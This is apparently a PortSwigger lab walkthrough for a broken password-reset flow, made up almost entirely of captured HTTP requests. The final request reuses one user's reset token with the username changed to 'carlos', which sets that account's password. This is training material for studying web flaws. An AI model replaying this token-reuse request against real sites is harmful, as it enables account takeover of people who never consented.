Port Swigger Password reset broken logic
Password reset broken logic
Solution
Open the website: https://0a6700ce03194f53800aa81d00150062.web-security-academy.net/login
https://0a6700ce03194f53800aa81d00150062.web-security-academy.net/login
Login as user:
We know email for user wiener: wiener@exploit-0aca006b040fda9d81d2f65a01a500e3.exploit-server.net
---
POST /login HTTP/2
Host: 0a5000e30492daa48135f723001c0075.web-security-academy.net
Cookie: session=SlCwuQtybDt1g1k1VmVPHnfFlHq1NeN9
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: https://0a5000e30492daa48135f723001c0075.web-security-academy.net
Referer: https://0a5000e30492daa48135f723001c0075.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
username=wiener&password=peter
---
GET /my-account?id=wiener HTTP/2
Host: 0a5000e30492daa48135f723001c0075.web-security-academy.net
Cookie: session=3k7tUqOomRXKS3pIl4mwANj8psgMzn5t
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a5000e30492daa48135f723001c0075.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Forgot password for user: wiener
https://0a5000e30492daa48135f723001c0075.web-security-academy.net/forgot
---
mail: wiener@exploit-0aca006b040fda9d81d2f65a01a500e3.exploit-server.net
---
POST /forgot-password HTTP/2
Host: 0a5000e30492daa48135f723001c0075.web-security-academy.net
Cookie: session=BwqQ8gm59USRQJd9cAC8gCPVtt4E8cS6
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Origin: https://0a5000e30492daa48135f723001c0075.web-security-academy.net
Referer: https://0a5000e30492daa48135f723001c0075.web-security-academy.net/forgot-password
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
username=wiener%40exploit-0aca006b040fda9d81d2f65a01a500e3.exploit-server.net
Open mailbox for user wiener
https://exploit-0aca006b040fda9d81d2f65a01a500e3.exploit-server.net/email
---
GET /email HTTP/1.1
Host: exploit-0aca006b040fda9d81d2f65a01a500e3.exploit-server.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a5000e30492daa48135f723001c0075.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
Open website to reset password
https://0a5000e30492daa48135f723001c0075.web-security-academy.net/forgot-password?temp-forgot-password-token=awf022kwqmolzkbmf0hgvwfr37zyw1kn
---
POST /forgot-password?temp-forgot-password-token=awf022kwqmolzkbmf0hgvwfr37zyw1kn HTTP/2
Host: 0a5000e30492daa48135f723001c0075.web-security-academy.net
Cookie: session=BwqQ8gm59USRQJd9cAC8gCPVtt4E8cS6
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
Origin: https://0a5000e30492daa48135f723001c0075.web-security-academy.net
Referer: https://0a5000e30492daa48135f723001c0075.web-security-academy.net/forgot-password?temp-forgot-password-token=awf022kwqmolzkbmf0hgvwfr37zyw1kn
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
temp-forgot-password-token=awf022kwqmolzkbmf0hgvwfr37zyw1kn&username=wiener&new-password-1=qwerty123&new-password-2=qwerty123
Change password for user: wiener
POST /forgot-password?temp-forgot-password-token=awf022kwqmolzkbmf0hgvwfr37zyw1kn HTTP/2
Host: 0a5000e30492daa48135f723001c0075.web-security-academy.net
Cookie: session=BwqQ8gm59USRQJd9cAC8gCPVtt4E8cS6
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
Origin: https://0a5000e30492daa48135f723001c0075.web-security-academy.net
Referer: https://0a5000e30492daa48135f723001c0075.web-security-academy.net/forgot-password?temp-forgot-password-token=awf022kwqmolzkbmf0hgvwfr37zyw1kn
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
temp-forgot-password-token=awf022kwqmolzkbmf0hgvwfr37zyw1kn&username=wiener&new-password-1=qwerty123&new-password-2=qwerty123
Reset password for user: carlos
Password is: qwerty123
---
POST /forgot-password?temp-forgot-password-token=awf022kwqmolzkbmf0hgvwfr37zyw1kn HTTP/2
Host: 0a5000e30492daa48135f723001c0075.web-security-academy.net
Cookie: session=BwqQ8gm59USRQJd9cAC8gCPVtt4E8cS6
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
Origin: https://0a5000e30492daa48135f723001c0075.web-security-academy.net
Referer: https://0a5000e30492daa48135f723001c0075.web-security-academy.net/forgot-password?temp-forgot-password-token=awf022kwqmolzkbmf0hgvwfr37zyw1kn
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
temp-forgot-password-token=awf022kwqmolzkbmf0hgvwfr37zyw1kn&username=carlos&new-password-1=qwerty123&new-password-2=qwerty123
Solved